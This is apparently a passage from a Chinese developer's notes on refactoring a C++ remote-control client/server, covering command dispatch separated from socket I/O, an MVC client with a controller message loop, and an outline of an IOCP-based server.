这次对服务器的重构,让每个关于功能模块的函数只需要处理对应的功能,不需要通过这里发送数据,而是将这些包保存到vector容器里,然后调用相应的函数Run函数进行发送
int Run(SOCK_CALLBACK callback, void* arg, short port = 9527)
{
bool ret = InitSocket(port);
if (ret == false) return -1;
std::list<CPacket>lstPackets;
m_callback = callback;
m_arg = arg;
int count = 0;
while (true) {
if (AcceptClient() == false) {
if (count > 3)
{
return -2;
}
else {
count++;
}
}
int ret = DealCommand();
if (ret > 0) {
m_callback(m_arg, ret, lstPackets, m_packet);
if (lstPackets.size() > 0) {
Send(lstPackets.front());
lstPackets.pop_front();
}
}
CloseClient();
}
return 0;
}
这样就实现了服务器只负责收发数据,而各个功能函数不需要考虑这些,使他们分开,这样就实现了高内聚低耦合的特性
###总结
这次重构的主要是使收发数据和处理数据分开,各干各的,让代码好扩展,如果需要改动功能只需要改动对应的,不需要改服务器。
主要流程:首先调用Run函数,并且监听,接收客户端的连接,客户端连接之后,收取客户端发送的数据,并且解析,通过消息映射表来执行相应的操作。
###客户端的重构
####MVC设计模式
本次客户端采用的是MVC的设计模式,MVC设计模式指的是模型(Model),视图(View),控制器(Controller)
1.模型(Model)
负责处理应用程序的数据逻辑和业务逻辑。
直接管理数据、逻辑和规则。
通常包含数据访问层与业务逻辑层。
当数据发生变化时,会通知视图更新显示。
2.视图(View)
负责呈现数据和处理用户界面。
从模型中获取数据,并将其呈现给用户。
只关心数据的显示,不包含任何业务逻辑。
当用户与视图交互时,会将输入传递给控制器。
3.控制器(Controller)
负责处理用户输入和操作。
接收视图传递的输入,并根据需要调用模型和视图。
根据用户输入更新模型和视图。
充当模型和视图之间的桥梁。
####代码重构
在初始化客户套接字的时候,开启一个线程,用来进行消息循环,来处理用户进行的请求
1.在模型层用来存放所有需要用到的资源
#####控制层
在这次重构中添加了一个ClientController的类用于处理用户所要求的数据和视图,在客户端也采用了消息映射的机制,在这里将监控和下载的状态展示添加到了映射函数里,让启动这个窗口的时候,通过控制层调用,有控制层控制所有
struct { UINT nMsg; MSGFUNC func; }MsgFuncs[] =
{{WM_SHOW_STATUS,&CClientController::OnShowStatus} ,
{WM_SHOW_WATCH,&CClientController::OnShowWatchData},
{(UINT)-1,NULL} };
for (int i = 0; MsgFuncs[i].func != NULL; i++)
{
m_mapFunc.insert(std::pair<UINT, MSGFUNC>(MsgFuncs[i].nMsg, MsgFuncs[i].func));
}
通过在RemoteClient类中调用CClientController::getInstance()->InitController()的时候启动一个消息循环,这样即可在消息循环中不断接收客户的消息
m_hThread = (HANDLE)_beginthreadex(NULL, 0, &CClientController::threadEntry, this, 0, &m_nThreadID);
m_statusDlg.Create(IDD_DLG_STATUS, &m_remoteDlg);
return 0;
在控制层也封装了关于发送数据包的操作,在这个函数中调用了CClientSocket中SendPacket的函数用于向服务器发送数据,在发送数据之后,即可向消息循环发送让消息循环知道有人向他发送数据并且
bool CClientController::SendCommanPacket(HWND hWnd,int nCmd, bool bAutoClose, BYTE* pData, size_t nLength,WPARAM wParam)
{
CClientSocket* pClient = CClientSocket::getInstance();
bool ret = pClient->SendPacket(hWnd,CPacket(nCmd, pData, nLength),bAutoClose,wParam);
if (!ret) {
//Sleep(30);
ret = pClient->SendPacket(hWnd, CPacket(nCmd, pData, nLength), bAutoClose, wParam);
}
return ret;
}
bool CClientSocket::SendPacket(HWND hWnd, const CPacket& pack, bool isAutoClosed,WPARAM wParam ) {
UINT nMode = isAutoClosed ? CSM_AUTOCLOSE : 0;
std::string strOut;
pack.Data(strOut);
PACKET_DATA* pData = new PACKET_DATA(strOut.c_str(), strOut.size(), nMode, wParam);
bool ret = PostThreadMessage(m_nThreadID, WM_SEND_PACK, (WPARAM)pData, (LPARAM)hWnd);
if (ret == false )
{
delete pData;//要回收
}
return ret;
}
并且在向服务器发送数据后,接到用户端的应带ACK后,客户端执行相应的操作
LRESULT CRemoveClientDlg::OnSendPackAck(WPARAM wParam, LPARAM lParam)
{
if (lParam == -1 || (lParam == -2)) {
TRACE("socket is error %d\r\n",lParam);
}
else if (lParam == 1) {
TRACE("socket is closed\r\n");
}
else{
if (wParam != NULL) {
CPacket head = *(CPacket*)wParam;
delete (CPacket*)wParam;
DealCommand(head.sCmd,head.strData, lParam);
}
}
return 0;
}
当从客户端收到数据后,封装成一个包,并且不断的调用OnSendPackAck来响应客户端的数据展示,这样就能实现了一个消息的收发
而这么做的理由是当消息循环正在运行的时候,每当客户请求一个操作,消息循环会额外开出一个线程来处理这个操作,并且当发送一个数据后,就会发送一个ACK数据进行应答,并且当正在处理一个消息的时候,向消息循环发送当前正在处理这个消息的线程ID,并且等待线程运行完成后,在处理其他进程,直到这个线程运行完毕,通过设置这个事件,其他线程才能启动
而在Dlg视图层只需要调用Conroller的方法来与客户端进行交互,每个层都有自己的事情做,能够达到解耦的目的,也解决了事件太多不能正确调用的问题
##第三版本
###服务器端的重构
服务器的第三次重构是基于windowes的iocp实现,iocp通过建立一个I/O完成端口,它作为 I/O 操作的集中处理点。完成端口负责收集完成的 I/O 操作并将其分派给线程池中的线程进行处理
操作步骤:
-
创建完成端口: 首先,使用 CreateIoCompletionPort 函数创建一个 I/O 完成端口。这个完成端口将用于管理与其关联的套接字或文件句柄的异步 I/O 操作
-
将句柄与完成端口关联: 将套接字或文件句柄与完成端口关联。每个句柄在发起异步 I/O 操作时,将其结果(如读取或写入完成)通知给对应的完成端口。
-
发起异步 I/O 操作: 使用 ReadFile、WriteFile 或 WSASend、WSARecv 等异步 I/O 函数发起 I/O 操作。这些函数会立即返回,并且操作系统将在后台完成这些 I/O 操作。
-
等待 I/O 操作完成: 一个或多个线程池中的线程调用 GetQueuedCompletionStatus 函数,等待 I/O 操作的完成通知。当一个 I/O 操作完成后,操作系统会将一个完成包(包含操作结果)放入与句柄关联的完成端口。
-
处理完成的 I/O 操作: 当 GetQueuedCompletionStatus 返回时,表示某个异步 I/O 操作已经完成,线程可以从完成包中获取操作结果并进行相应处理。